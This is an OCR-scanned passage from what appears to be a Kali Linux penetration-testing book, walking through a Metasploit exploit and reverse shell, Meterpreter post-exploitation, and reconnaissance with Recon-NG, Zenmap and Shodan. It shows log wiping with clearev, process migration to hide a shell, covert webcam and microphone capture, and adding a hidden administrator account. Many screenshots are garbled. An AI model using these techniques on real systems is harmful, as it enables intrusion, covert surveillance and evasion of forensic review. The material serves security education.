8. But we need to put in the LHOST or local host address. This is the IP address for our Kali

set LHOST 192.168.0.10

Once our payload options are set, we can go ahead and run the exploit.

Running the Exploit
When starting out, it is always a good idea to run the “show options” command one last time and
double check that everything is set correctly.

show options

Current Setting Regulred

SMEPIPE BROWSER

If you notice above, looks like we forgot to set the target system (RHOST) IP address!

We set the RHOST for a prior example, but when we switched exploits, we never re-set the remote
host IP address. This can happen when you are running through a lot of exploits, or attacking different
systems, so it is a good idea to double check your settings.

9. Set the RHOST option by typing:
set RHOST 192.168.0.20

Checking the options one last time, everything looks good:



port
e (BROWSER, SRVSVC)

Nama

EXITFUNC th 5 rec Lie N, thread, process,
LHOST 8.0

Our payload is selected, and all the options that we need to set are set.
We can now run the exploit.

10. To do so, simply use the “exploit” command.

msf exploit( ) > ex

The exploit then runs and when successful the payload executes and if the exploit works, we get a
remote connection.

Connecting to a Remote Session
Once we have a successful exploit we will be able to view any remote sessions that were created. To
check what sessions were created type the “sessions’” command.

Any sessions that were created will show up along with the IP address, computer name and user name
of the target system.

We can now connect to the session interactively with the “sessions -i <ID#>" command as shown in
the sample session above.

When we connect to the session, the prompt will change into a meterpreter prompt:

We will cover the Meterpreter shell in more depth in the next chapter. But for now, if we just type the
“shell” command we can see that we do indeed have a remote shell to the Windows system.

Conclusion



In this rather lengthy introduction to Metasploit we learned how to perform some basic functions of
the framework to enable us to find and use exploits. We also talked briefly about using payloads and
setting necessary functions.

Metasploit is able to do a ton of things; we just briefly brushed some of the more elementary core
functions.

Again if you are feeling lost at this point, don’t panic! We will cover the entire Meterpreter exploit
process later in greater detail.

Next we will talk about the Meterpreter shell, an amazing and fun interface that we can use to
manipulate systems that we successfully exploited.



Chapter 4 — Meterpreter Shell

Resources
® http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient

® http://cyberarms.wordpress.com/2013/02/03/remotely-recording-speech-and-turning-it-
into-searchable-text-with-metasploit-watson/

Introduction
After a successful exploit a Meterpreter shell allows you to perform many different functions along
with a full remote shell.

Meterpreter is great for manipulating a system once you get a remote connection, so depending on
what your goals are; a Meterpreter shell is usually preferred to a straight remote terminal shell.

Meterpreter gives us a set of commands and utilities that can be run to greatly aid in security testing.
For example, there are commands to pull the password hashes and gather data & settings from the
system.

There are also some fun tools included in Meterpreter, for example, you can turn on the user’s
webcam and grab still shots, you can turn on the remote microphone and even grab desktop
screenshots of what the user 1s working on.

In this section we will quickly cover the Meterpreter shell and some of its features.

Basic Meterpreter Commands

Let’s start with a machine that we tricked into running a backdoored program (7o see how to create
an Anti-Virus evading backdoor see the chapter on “Veil”.) Once executed the backdoor program
connected out to our Kali system and a session was created. We were then automatically dropped into
the active session as seen below:

sat lport 4080608

} = exploit

d reverse handler on 192.168.198.

Okay, let’s see what Meterpreter can do, let’s start by using the help command to see what is


http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient
http://cyberarms.wordpress.com/2013/02/03/remotely-recording-speech-and-turning-it-into-searchable-text-with-metasploit-watson/

available.

When we do so, we see that the commands are broken out into sections.

The commands are:

® Core Commands

® File System Commands

® Networking Commands
® System Commands

® User Interface Commands
® Webcam Commands

® And three Priv Commands

We will not cover all of the commands, but will look at a couple in a little more depth. It is a good
idea to read through them all to get a basic understanding of what they can do.

Core Commands

Dascription

s a background thre

va channels

on rabout-a-Post-module

As a beginner level user, you will probably only use background, help, load, migrate, run and exit
from this list.

® Background - Background allows you to background a session so that you can get back to
the msf prompt or access other sessions.



You can return to your session by just using the “session -i <session #>" command.

® [oad and Run — These commands allow you to use additional modules and commands
inside Meterpreter.

® Exit — Exits out of Meterpreter.

File System Commands
When you have a Meterpreter shell, you basically are dealing with two file systems, the local and
remote. File system commands allow you to interact with both.

Stdapi: File system Commands

Description

Read the contents of .
v directory
file or directory

tory

' yrkking direc
Print T working directo
List

Basically you can use standard Linux commands to get around and use the file system. But how do you
differentiate between the local system and the remote system that you are attached to?

All the commands are assumed to be used on the remote system. So for example to get a directory
listing of the remote system, just use the “/s” command:

Type Last modified Name

If we create a directory called “test” on the remote machine we can navigate to it, and then list the
contents:



Type Last modified
dir
dir 2013-10

When you need to move around your local (Kali) file system there are a couple commands you can
use.

® Getlwd & Ipwd — Get (display) Local Working Directory
® [cd— Change Local Directory

So 1f we needed to check our local working directory and then change into our Desktop directory on
our Kali system we can do the following:

Download allows you to download files from the target system, and conversely, upload allows you to
send files to the remote system.

So 1f we wanted to upload a file, just connect to the local and remote directories that you desire and
execute the upload command with the file name you want to send, as shown below:

meterpreter =

We connected to the Desktop on the Kali machine where we had our tools file. We then connected to



the “test” directory on our target, and simply used the “upload” command to transfer the file.

Download works the same way, just use download and the file name to pull the file off the remote
system and store it on your local Kali machine:

untInfo

untInfo

Now let’s take a look at the network commands.

Network Commands
These commands allow you to display and manipulate some basic networking features.

® Arp — Displays a list of remote MAC addresses to actual IP addresses.
® [fconfig & ipconfig both display any network interfaces on the remote system.
® Netstat — Displays a list of active network connections.

® Portfwd and route allow you to do some advanced routing attacks. Though we will not be
covering it in this book, using these two commands allow you to use the machine you have
exploited to pivot or use it to attack other machines in the target network or networks.

System Commands
Below is a list of system commands. We won’t cover them all, but again, it is good to read through
the list to get familiarized with them:



sonation token.

a to the current proc

onation token from the target proce

CLEAREY - This useful little command will attempt to clear the logs on the remote computer.

We may want to erase our tracks and clear the system logs on the target machine. If we look at the
logs on the Windows 7 system side, we can see that it is full of events:

4l Event Viewer (Local) Security MNumber of events: 4,151

y Custom Views 1
4 “n Windows Logs Keywor., Date and Time Source Event IC *
1 Application 4 Audi.. 10/22/2013 8:D5:28 AM Micros... 4672
] Secunty Audi... 10/22/2013 8:06:28 AM Micros.. 4624
=] Setup L Awdi.. 10/22520013 8:06:28 AM Micros.. 4648
[ System A, Audi... 10/22/2013 8:02:28 AM Micros.. 457z
5| Forwarded Events o, Audi.. 10/22/2013 802:28 AM Micres... 4624
Applications and Services Lo|ll € aydi.. 10/22/2013 802:25 AM Micros.. 467z
1 Subscriptions Audi.. 10/22/2013 80225 AM Micros.. 4624
= Audi... 10/22/2013 8:00:26 AM Micros.. 461€
- Audi.. 102273013 8:00:23 AM Micros... 4634
A Audi.. 10/22/2013 8:00:19 AM Micros.. 5024
Bnardi N2 3 BN T8 AkA klirrnc L EE ¥

Some of those events may include things that we did. So we can clear the logs remotely from the Kali
system by typing, “clearev’:

meta rpretar =

The Application, System and Security logs are wiped. If we look at the security log again it just
shows one record, “Log Clear™:

Keywor.. Date and Time Source EventID TaskC..
p— m—— — —— .
4.1 ventlog 1102 Log dle

Now obviously this will stick out like a sore thumb to anyone analyzing the logs. But if there are
events you want removed, you can clear the log.



GETPID & PS COMMANDS — As you use Meterpreter, two of the commands that you will use
somewhat frequently are gefpid and ps.

® Getpid — tells you what process ID your shell is running on
® Ps —lists all processes running on the remote system

So if [ type, “getpid’” 1 see this:

2rpreter > getpid

Current pid: 3824

This 1s the process ID number that our shell is using. If I type “ps” I can see all the processes:

If we go further down the list, looking for our pid number of 3824 we see this:

3824 3796 powershell.exe x86 1 WIN-LOANLOTDQLU\Fred
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

This shows our process ID of 3824. It also shows that we are running under a powershell.exe process
as the user “Fred”.

This information comes in handy when we want to “migrate” out of this low level process and into a
process with a higher level access. We can move our shell off of this PID to a process that has higher
level access.

Migrating also allows us to merge and hide our shell into another more common process, in essence
hiding our connection. Explorer.exe is one of the more common processes to migrate to.

Simply find the PID# of the process you want to use (1736 on our system) and type, “migrate
<PID#>”



> migrate 1736
ng fr 2

eted succ

We will talk about migrating and some of the other Meterpreter commands more in later sections. For
now let’s talk about screenshots and using the remote webcam!

Capturing Webcam Video, Screenshots and Sound

When I was listening to the news a while back I remember them going on and on about a brand new
“advanced persistent threat” that could actually allow attackers to turn on your webcam and even
record sound. I thought this was completely ridiculous as you have been able to do this with
Metasploit for years.

WEBCAM VIDEO

From the Metasploit shell, typing “run webcam -h” displays the help menu.

v (default)
r lmages will be saved in (Default: current working di

Then just type “run webcam” and add any options that you want. This will remotely display the
webcam from the target system.

=d to : ./webcam.jpg
topping webcam

If you use the “-I” option it will continuously grab webcam snaps until you hit “CNTRL-C”.

The only hint you get on the target machine that something is wrong is that your webcam recording
light (if yours has one) comes on. Other than that, you cannot tell that someone is remotely viewing
your webcam.



The webcam screenshot above is an actual image I got one day of my cat. Not sure why cats must
sleep on laptop keyboards, but I do know now who has been ordering all that Tuna fish online...

SCREENSHOTS

You can grab a snapshot of whatever is currently being displayed on your target’s monitor using the
“screenshot” command:

TElasadaddaas

Well, along with getting his system infected with a backdoor exploit, it seems that our star employee



also spends his valuable time at work playing video games online.
Nice...

SOUND RECORDING

Recording sound is very similar, just type, “run sound_recorder -h” for options, or if you want to
grab a 30 second sound clip, run the command without any options:

You can then open the saved file on your Kali system to listen to it:

Q0:04 00:30

P oo Bl [Nl ES XN

|5

Running Scripts
The last topic we will cover in this section is running scripts. Meterpreter has over 200 scripts that
you can run to further expand your exploitation toolset.

We actually have already touched on these. We used the ““rumn” command to use the sound and
webcam script attacks. We will take a moment and cover a couple more of them.

To see a list of all the available scripts just type “Run <tab><tab>":

yreter = run

Display all 213 possibilities? (y or n)

Then just type, “run” with the script name that you want to try.
Here are a couple of the more interesting ones:
CHECKVM:

Sometimes when you get a remote shell you are not sure if you are in a Virtual Machine or a
standalone computer. You can check with this command.

meterpreter = run checkvm

[*] Checking if target is a Virtual Machine .....
[*] This is a VMware Virtual Machine

As you can see it correctly determined that our target was a VMware VM.
GETGUI:

Getgui is a neat little script that will allow you to enable remote desktop on a Windows machine (if it
isn’t already enabled) and create a remote desktop user.

The user is added to both the remote desktop user group and the administrators group. This makes it
handy 1f you want to connect back to the machine at a later date.



First type, “run getgui -e” to enable remote desktop:

Now we just need to open a terminal and run the “rdesktop” command that comes with Kali to
connect to the Windows Remote Desktop:

:~# rdesktop -u EvilUser -p - 192.168,198.132

Autoselected keyboard map en-us
Fassword:

The “-p - switch tells rdesktop to prompts you to enter a password. This is a bit more secure as you
are not sending clear text passwords over the wire.

Once we login we will get a graphical Windows desktop on our Kali machine:



rdesktop = 192.168.198.132

2 Preparing your desktop..,

w. Windows 7 pProfessional

There are additional scripts to try to turn off Anti-Virus, disable the target’s firewall, grab artifacts
and credentials from multiple programs like Firefox, ftp programs, etc., plus many more.

Take some time and check them out.

Remote Shell

Lastly, let’s see how to get an actual C:\ prompt. This is extremely easy once we have a Meterpreter
session. Just type the command, “shell”.

ALl rights reserved.

That’s 1t! We can now run any DOS command that we want.

Playing with Modules - Recovering Deleted Files from Remote System
Now let’s take a second and talk about something a little more advanced. Let’s see how to use one of
the included Meterpreter modules to recover files that have been deleted from a remote drive.

The “recovery files” script allows you to recover files that the target user has deleted from his
system. This could be very handy, as deleted files could contain information of interest for both the
forensics and pentesting realm.

System files and logs, account information, and important documents are just a small sample of what



could be recovered.

To prep for this example, I simply took my Windows 7 system and created a fake “Accounts
Passwords.txt” file and saved a copy of nmap’s “Discovery.pdf” manual on the E: drive.

I then deleted the files:

Data 10,/30/2013 3:02 PM
Account Passwords.bd | JPM Text ent

nmap discovery.pdf

' i B
Delete Multiple Ttems &

—  Areyou sure you want to move these 2 items to the Recycle Bin?
L]

-
- | |

| Yes | Mo

Using the Module

The module requires that you have an open session to the target that you want to check. Once you get a
successful remote session, simply type, “background” to temporarily back out of the session back to
the msf prompt and use the module as shown below:

ule options (post/windows/gather/forensics/recove

Current Setting Required

As you can see in the screenshot above, there are a couple settings that need to be set.

If you just want to see what files are there, you only need to set the “Drive ” and “Session” settings as
shown above.

Then just run the exploit:



f post(

E]
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aystem Info - [
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module execution completed
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The exploit ran and found four files that it could recover, the two that we deleted and two other ones.

Now, say we only wanted to recover the txt files. Simply type, “set FILES txt” and run the exploit
again:

default 192

It recovered the text files and stored them in the /root/.msf4/loot directory. If we surf to that directory
we can find and open the text files that were saved:

£ EiHome misf4

20131030151624_
default_192 168
198.132_resident

file_490952.txt

And view the file:

File Edit Search Options
Wccount Passwords:
Fred/ P@$$word
MySQL/ SOLM@Ster!
FIP/ FTPKING!




And there we go, looks like there are 3 user accounts, including passwords, which we were able to
recover from the remote machine!

But what if we wanted to recover pdf files?

Again, simply “set FILES pdf’ and run the exploit again:

As last time the recovered files were stored in the loot directory. We can open the PDF to verify that
it worked:

In this paper we will use a DMZ environment with a variety of different firewa ll
rulesets to jlustrate the best methods for discovering hosts behind a firewall
The DMZ architecture we will use throughout this paper is depicted n the
following mage

=
i

II Le-F BT -]
" |
]
___ - a ¥

Here we have a typical DMZ with a firew all filtering inbound traffic. In our
scenarios we will use "pseudo-rulesets” to keep the rules readable. The actual
syntax from the rules are a mix between PF and engrish, so don't get hung up on
the accuracy of them - they just need o be readable. Alse, the version of nmap
| used for this testing was 3.00

Our scanning host sits on the 192.168.5.0/24 network and has the |P address of
192.168.5.20

Unless otherwice stated, we will use the following nmap command for all
discovery scans
nmap -sP 172.26.1.0/29




You can also set the module to recover multiple file types at once by simply listing what you want in
the FILES variable and separate them with a comma.

Lastly, the files can also be recovered by the ID number (not shown).

Recovery File Module Wrap-Up
The module seems to work really well on data drives, but not so well on drives where there are a lot
of files to recover, like on the main drive of a single drive system.

I ran this on a Windows 7 boot drive on a VM that I have used a lot and it literally took hours to run.
Granted it probably found about a thousand files, but I just can’t see how feasible this would be in
real life as it would create an enormous amount of suspicious network traffic.

Here is a network packet capture of the module running against a drive with a lot of deleted files:

Ma. Time Source Dastination Protocol Length Info
674 14.330245000 152.168.198.132 152.168.198.147 TCP 128 49167 = terabase
675 14.330424000 152.168. 198. 147 182.168.198.132 TCP 54 terabase > 49167
676 14.330640000 182.168.188.132 182. 16B.188.147 TCP 1328 49167 = terabase
677 14.330780000 152.168. 198. 147 152, 168.198.132 TCP 54 terabase = 49167
678 14.416586000 192.168.198.147 192.168.198.132 TCP 283 terabase = 49167
678 14.423085000 152.168.198.132 152.168.1588.147 TCP 128 48167 = terabase
680 14.423318000 152.168.198.147 182.16B8.158.132 TCP 54 terabase > 49167
6Bl 14.423585000 1852.168.1898.132 182, 16B.188.147 TCP 1328 49167 = terabase
682 14,423725000 192, 168, 198, 147 1592.168.198.132 TCP 54 terabase > 495167
683 14.515351000 192.168.198.147 152.168.198.132 TCP 283 terabase = 49167
684 14.532615000 152.168.1598.132 152.168.158.147 TCP 128 49167 > Lurabase
685 14.533168000 152.168. 198. 147 182, 16B.188.132 TCP 54 terabase > 49167
686 14.534822000 152,168, 198,132 192, 168,198,147 TCP 1328 49167 = terabase
687 14.534066000 152.168.198.147 192.168.1%88.132 TCP 54 terabase = 49167

But then again, how many people actually record and analyze their data traffic?

The module does function extremely well though on smaller drives that don’t have an enormous
amount of deleted files. It was lightning fast and worked very well.

Conclusion

In this chapter we learned a lot about Metasploit’s Meterpreter shell. Though we covered some of the
basics of getting around and using the shell, we only touched on a fraction of its capabilities.
Hopefully you can see why getting a Meterpreter shell gives you a whole lot more functionality than
just getting a straight remote access shell.

Grabbing video and sound may seem to be a bit theatrical, but social engineers could use information
they glean. For instance from video they could grab images of people’s badges, and have a glimpse
into the target’s physical environment.

Sound is interesting too. A social engineer could learn a lot about the target facility by being able to
have a live microphone inside the building. And not too long ago “Sinn3r” from the Metasploit
development team showed how you could grab recorded audio and search it using AT&T’s Watson
speech program and Metasploit to look for keywords like “password” or “social security number”.

(See “Resources” above for link to article)



Lastly we saw how to recover deleted files from a remote system using a special Meterpreter module
called “Recovery Files”

Once we get remote access to a machine with a Meterpreter shell we can interact with the target
system, manipulate it, and even grab video from it.

But we can also use Meterpreter to bypass Windows UAC protection and automate pulling user
password hashes and even plain text password. We will talk about all of these features in upcoming
chapters.



Part 3 - Information Gathering & Mapping




Chapter 5 — Recon Tools

Resources
® Recon-NG Wiki Page - https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home

Introduction

There are several tools in Kali Linux to aid in information gathering and reconnaissance. When a
hacker attacks a target one of the normal stages they perform is information gathering. They want to
learn as much about your network, their target, as they can, to make their lives easier.

Maltego is a very popular tool one that is covered quite a bit in security books and training seminars.
As it already has a lot of coverage, I figured we would look at some of the other tools included in
Kali.

In this chapter we will look at one of the newer tools, Recon-NG and a couple other tools that come
with Kali.

Recon-NG
The Recon-NG Framework is a powerful tool that allows you to perform automated information
gathering and network reconnaissance. Think of it as Metasploit for information collection.

Recon-NG automates a lot of the steps that are taken in the initial process of a penetration test. It has
numerous features that allow you to collect user information for social engineering attacks, and
network information for network mapping and much more.

You can automatically hit numerous websites to gather passive information on your target and even
actively probe the target itself for data.

Anyone who is familiar with Metasploit will feel right at home as the interface was made to have the
same look and feel. The command use and functions are very similar. Basically you can use Recon-
NG to gather info on your target, and then attack it with Metasploit.

Using Recon-NG

To start recon-ng, just open a terminal prompt and type, “recon-ng”:



t=# recon-ng

recon-ng = I

Type, “help” to bring up a list of commands:

recon-ng = halp

b level

‘ormation

resource file

urce file

recon-ng =

Now, like Metasploit, you can type “show modules’ to display a list of available modules:



W modules

Some of the modules are passive; they never touch the target network. While some directly probe and
can even attack the system you are interested in.

One tactic used to passively probe network structure is to use the Google search engine to enumerate
site sub-domains. You know that there will be a main domain like “some target name.com” but
what other subdomains are out there?

You can do a Google search for subdomains using the “site: ” and “inurl:” switches. Then remove
sub-domains (-inur/) that you find , so other subdomains will appear. This can take a while to do by
hand and can require a lot of typing if the target has a large number of sub-domains.

Recon-NG will do this for you automatically and record what it finds in a database.

)

Just use the * recon/hosts/gather/http/web/google _site ” module. Then “show options” to see what

the module requires.

This one only requires the target domain.

As in Metasploit, just type, “set domain [targetname.com]”. Then just type, “run’’ and the module
will execute, as seen below:

et DOMAIN SomeDomainMame.com

You will then see a screen like the simulated one below:



URL: http://fwww.google.com/fsearch?start=08&filter=08:q=5ite%
3ASomeDomanName.com

www. SomeDomainName.com

support.SomeDomainName.com

tech.SomeDomainMame.com

Sleeping to avoid lockout...

URL http://www.google.com/search?start=0&filter=08g=site%
3ASomeDomainName. com-site®3Awww. SomeDomainName.comi-site%

3Asupport.SomeDomainName.com+-site%3Atechnet. SomeDomanName.com

mvp. SomeDomainName.com
online.SomeDomainName.com
research. SomeDomainMName.com
reports.SomeDomain Mame.com
conned.SomeDomain Name.com
remote. SomeDomainName.com
avents. SomeDomain Name.com
store.SomeDomainName.com
Sleeping to avoid lockout...

As you can see from the screenshot above, Recon-NG is enumerating the sub-domains for a fictitious
website called “SomeDomainName.com”. Within seconds, several of the sub-domains are listed.

All the data collected by Recon-NG is placed in a database. You can create a report to view the data
collected.

Just type in “back” to get out of the current module:

found.
found !

recon-ng =
And then ““ show modules” again.

Notice the “Reporting” section:

Simply use one of the report modules to automatically create a nice report of the data that you have
obtained.

racon-ng = use reporting/csv_file

recon-ng [csv file] = run

46

All the files will be stored in the “/usr/share/recon-ng/workspaces/default” directory.

Recon-NG Wrap up

Sub-domain enumeration is only one module you can run, there are many others to choose from. There
are also some that require a program API key like Twitter, Shodan, LinkedIn or Google. Using these
you can get specific information from the corresponding sites about your targets.



For example you can search Twitter for tweets from your target or even check Shodan for open
systems.

I have just briefly touched on some of the capabilities of Recon-NG. It is really an impressive tool
that is well worth checking into.

Dmitry
Dmitry is a nice little tool for quickly finding out information about a site. Just run Dmitry from the
menu or command line.

ation Gathering Tool
gep maglc going on'

-winsepfb] [-t

filtered por

port
rt ( Default 2 )

“dmitry -s SomeDomainName.com” will perform a similar scan as demonstrated in the Recon-NG
section.

Netdiscover

Netdiscover is another neat tool included in Kali. It too can be run from the command prompt or from
the menu system.

Netdiscover scans a network looking for devices and then displays them:



It can also run in stealth “passive” mode where it doesn’t send any data, it only sniffs traffic.

Zenmap
Zenmap 1is basically a graphical version of the ever popular nmap command. If you are not familiar
with nmap, then Zenmap is a great place to start.

Like the previous commands, Zenmap can be started from the menu or command line.

Once started, you will see the following screen:

Zenmap
Scan Tools Profile Help
Target Profile: | Intense scan b Scan
Command: .nmep T4 -A -v
Hosts | Services Mmap Dutput | Ports { Hosts | Topology | Hest Details | Scans
Q5 Host t

Just fill in the target IP address and choose what type of scan you want to perform from the Profile
drop down box. Zenmap will show you what the resulting nmap command switches are in the
command box. Then just click the “Scan” button to run the command:

Target: [192.168.198.2 “ | Profile: |Intense scan, no ping hd Scan

Command: |nmap -T4 -A -v-Pn 192.168.198.2

Hosts | Services Nmap Output | Ports / Hosts  Topology Host Details Scans

0s Host nmap -T4 -A -v -Pn 192,168,198, 2 - Details

5 -

Bt | Starting Mmap 6.40 | http://mmap.org ) at
2013-12-03 17:18 EST
MSE: Loaded 110 scripts for scanning.
MSE: Script Pre-scanning.
[nitiating ARP Ping Scan at 17:18 3
Scanning 192.168.198.2 [l port]
Completed ARP Ping Scan at 17:18, 0.
(1 total hosts)
Initiating Parallel DNS resolution of 1 host. at
1718
Completed Parallel DNS resolution of 1 host. at
17:18, B.84s elapsed
Initiating SYN Stealth Scan at 17:18
Scanning 192.168.198.2 [1060 ports]
Discovered _open port 53/tcp on 192.168,198.2
Completed SYN Stealth Scanm at 17:18, 0.12s
elapsed (1000 total ports)

is elapsed




As you can see above the nmap command status shows up in the Nmap Output window.

Other information can be viewed by clicking on additional tabs, like the “Ports/ Hosts” tab:

Mmap Qutput Ports / Hosts Topology Host Details | Scans

Fort Protocol State Service Version

.;;}: 53 tcp open tcpwrapped

Or the “Host Details” window:

i §

Nmap Output Ports / Hosts Topolegy Host Details | Scans

+1192.168.198.2 E

% Host Status
State: up

2 >

Filtered ports: 0

Open ports:

Closed ports: 999
Scanned ports: 1000

Up time: Not available . . d

Last boot: Mot available

* Addresses
IPvd: 192.168.198.2

[PvB: Mot available

MAC: 00:50:56:F CAC.SE =
= Operating System
Mame; Microscft Windows 7 Enterprise

Accuracy:

Conclusion
In this chapter we looked at the multi-faceted tool Recon-NG. We saw how it was created to mimic
Metasploit so users who are familiar with it could pick up Recon-NG fairly quickly.

We also covered a couple other tools used in Host identification, reconnaissance and information
gathering.



Chapter 6 - Shodan

Resources

® Shodan Website - http://www.shodanhg.com/
® Google Dorks Database - http://www.exploit-db.com/google-dorks/

Introduction
Shodan is one of the coolest websites on the web. Called the “Hacker’s Google”, “Dark Google” and
many times just “terrifying”, it is a search engine for computers.

Shodan allows you to find computers on the web by searching for them by keyword. For example, you
can search for all the Microsoft IIS 7.0 servers in Canada, or all the systems using Linux in Africa.

If you are familiar with “Google Dorks”, Shodan is similar, but is a much easier way to search the
breadth of the internet for systems.

The trick to using Shodan effectively is to know the right keywords. Usually they are the
manufacturer’s name, or a device model number, but sometimes they are the name of a very obscure
embedded web server that you would never think to look for.

But once you know these magic keys, in seconds you can search the world for these devices. Or by
using filter commands you can refine your search to certain devices and areas.

A security tester can use Shodan to very quickly assess what systems on their network are being
displayed publicly, when maybe they shouldn’t be. It can also allow them to find possible rogue or
unauthorized devices that have been added to the company network.

In this section we will briefly discuss why scanning your network space with Shodan is a good idea.
We will then look at how we can do these searches from the web interface, Shodanhq.com, and
finally through Kali Linux using the Metasploit Framework.

Why scan your network with Shodan?
There are a large number of seemingly important systems that should never be publicly viewable on
the Internet. All can be found easily with just a couple keyword searches.

Everything from open, outdated & insecure systems, routers, network storage, and phone systems - to
security cams, building controls, and even security systems.

But that is not all.

Open network printers and embedded devices can also be a fount of information for hackers giving


http://www.shodanhq.com/
http://www.exploit-db.com/google-dorks/

out SNMP and network infrastructure information, and possibly even user accounts and passwords!

Ready | ]

IP Address: :
Refresh Location:
Contact @
Configuration
TCPNP
Set Hostname ]
Darnan Nama i:
Address E—
MNetmask :I
Gatevay —
Enable DHCP
Enable RARP
Enable BOOTP
Enable AutolP
Enable FTRITFTP 4

HTTP Server Enabled 4
WINS Server Address | |
DMS Server Address | |

Backup DNS Server [ ]
Address

Sadly, in this new high tech world, computer systems are not the only things that can be found online.

Sure you can find large industrial HVAC environmental and building temperature controls completely
open and unsecured. But you can also find other non-common devices like aquariums with an online
control interface and unbelievably, even remote controlled doors:

State State

IDLE IDLE

Timer Timer

-nla- -nfa-

Status Status

Closed Closed

Message Message

door closed properly door closed before timer expired
Auto-close timer 7 days. & hours, 35 minutes, 45 seconds
60 minutes

Close Fail timer
20 seconds

Often the online device has security, but it comes with it turned off from the manufacturer, and all the
user needs to do is turn it on or assign a password.

But many don’t:

Password Settings

Use Password [D‘IT -

Hew User Password

Confirm New User Password

New Admin Password




And many times when a password is used, it is left to the factory default password (easily found) or a
simple password (easily cracked).

The company owner may not have even been the one (directly) to put one of these devices online.
There have been a couple reports of internet enabled building controls from major companies found
online over the years. The building contractor, obviously not understanding internet security, left them
completely open or with default credentials.

Searching for open systems using Shodan has become very popular. If you have heard of “Urban
Explorers” — those that explore old abandoned buildings in cities for thrills, think of frequent Shodan
searchers as “Cyber Explorers” — those that explore the world’s computers for open or loosely
secured systems.

And once interesting systems are found on Shodan, the keyword searches are usually shared amongst
friends or publicly posted on the internet.

Granted many are just surfing Shodan to grab screenshots of ridiculous things that people put on the
web, but it is also a tool that those with nefarious purposes could also use.

That 1s why it is important to check to see if you have systems publicly viewable or accessible from
the web that you don’t know abouit.

Shodan Website

To use Shodan, simply point your web browser to Shodanhg.com:

% SHODAN

ExXPOSE ONLINE DEVICES.

WEBCAMS. ROUTERS.
POWER PLANTS, IPHONES, WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

Then all you need to do is enter your keyword to use and click, search just as you would on any
search engine.

So if we wanted to search Cicso routers we could just type in “Cisco” and click, “search’:



esearch Anrivers:

% SHODAN

Services 190.223.13.66
55H B70,656 ST T A o1 3
HTTR i H Lira

SHME 206, 452

190,242,12,190
ol

Top Countries mibuk Mabworks U SA HTTP. 0401 Vnarsthorizsd

United Siajes BET BRO

AT
-
Auddgian Fedeqration . Frazs
China 79,414
60,45 abrer="level_L5 or .
Top Organizations
50.203.161.6
——_—— Py Comeay Cable HTTP/L0 40 Veasthorized
ira Intermne 258 ty oA 14 L
B 2 07 = 5
I Fali B3 .
Turk Telekom B2

Shodan returns links to about two million Cisco routers worldwide. You can click on any IP address
to surf directly to the device found.

On the left side of the screen, Shodan also shows you how many of the total devices are from a
certain country or location. You can click on any of them to zero in your search, or you could use
keyword filters directly in the search to fine tune the results.

Filter Guide

Using Filter commands you can quickly narrow down your searches to very specific things.

For example, say you were a Microsoft employee and needed to find all the IIS servers running IIS
8.0 in the US that are a part of the Microsoft domain?

You could enter something like the line below:

Shodan Exploits Scanhub Ressarch Anniversary Promotion

*% SHODAN I5/8.0 hostname: microsoft.com country:US Search

This quickly and easily sorts through the millions of servers out there and returns the ones that match
the query.

Here is a sample search return:



L. Title :| Microsoft Corporation |

157.56.62.28 HTTR/ L0 200 OK
MU S | Cache-Comtrol- no-cache
2. Coumtry - BE | i{'.::nr:r_'. Iype: textim|
" Details | Last-MBodified: Mom, 16 Miar 2008 20-35:26 GMT
| Accapt-Eamges: bytes
3. Hostname -|  ‘wwsod?isE20 miceopoll.com | ETag: =67991 Modfabics1 0
| Sarver AMicrosoft-TIS8.0
4. Body Text i-m: SR
P3P CP="ALL IND DSF COR ADM CONe CUR CUSe TVA: TWDe PSA PSD TAI
| X-Pewered-By: ASPNET
; Date: Thu, 18 Jal 2013 23:42-58 GMT
: Content-Length: 1{0

1. Server title information. You can search for other servers that contain the identical title text by
putting the information into the title command.

2. Designates the server country location, again search-able by using the country command.
3. The hostname search term can be used to search for servers by domain names.

4. Body text area. Any text entered into Shodan without a filter will be assumed to be a body text
search and will look for servers that have the requested information in the body text area.

Filter Commands
Let’s take a closer look at the filer commands.

(To use these commands or to get more than one page of results, you need to sign up for a free
Shodan Account).

CITY and COUNTRY Command
The City and Country commands allow you to narrow down the geographic location of your
searches.

country:(2 Letter country code)or city:(city name)
country:US
city:Memphis

Better yet, combine the two if the city you are looking for is located in more than one country.
country: US city:Memphis

HOSTNAME Command
Scan an entire domain with the hostname command:

hostname:google

You can use part of the Fully Qualified Domain Name, like google or the entire site like
www.microsoft.com or support.microsoft.com.

NET Command
Scan a single IP or a whole net block range using the net command:




net:192.168.1.10
net:192.168.1.0/24

TITLE Command
You can also search for items using the Title command:

title:“Server Room”

Title is probably one of the most over looked search parameters. You can scan the entire
Internet or your entire domain looking for title keywords.

KEYWORD Search

Probably the most popular way to search Shodan is using a body keyword search. If you
know the type of server the target system is using, the name of an embedded server, or want to
search for only “200 OK” webpages, then the body keyword search is the one to use.

For instance if you wanted to find all the servers running Apache server version 2.2.8 and
only want open sites, or sites that didn’t return an error when scanned — “200 OK” sites, use
the following keywords:

apache/2.2.8 200 ok

Or maybe you want to skip any 401 unauthorized pages or 302 Moved pages? Just use a
minus sign and the HTML error code:

apache/2.2.8 -401 -302

Combined Searches
The most effective Shodan searches are completed by combining search terms. With a few keywords
you could search for all of the Microsoft servers running I1IS/7.0 at your Boston location.

11S/7.0 hostname:YourCompany.com city: Boston

Or you could do a quick security scan of your domain for old systems that need to be updated. For
example any IIS/5.0 systems located anywhere on your domain in France.

1185/5.0 hostname: YourCompany.com country: FR

Title searches work great too. Many webcams use “camera” in their title information. If cameras
were not allowed on your network you could quickly check for that.

Title:camera hostname:YourCompany.com

Lastly searching using the Geo coordinates opens up some interesting capabilities, especially for
OSINT and government entities. Say you were creating a network map and wanted to search for Linux
servers located near Damascus, Syria:

geo:33.5,36.3 os:Linux

For some reason not every system will be correctly labeled with their city/ country and the geo



keyword helps identify additional systems that would not show up otherwise.

Other search terms you can use include:
® Port: Search by port number.
® OS: Search by Operating System.
® After or Before: Scarch for servers using dates.

Shodan Searches with Metasploit

Shodan search capabilities have been added to the Metasploit Framework. You just need to sign up
from a free Shodan user account and get an API key from their website. Using an API key allows you
to automate Shodan searches.

To find systems with Metasploit, you simply use it like any other exploit:
1. Create a free account on Shodanhq.com.

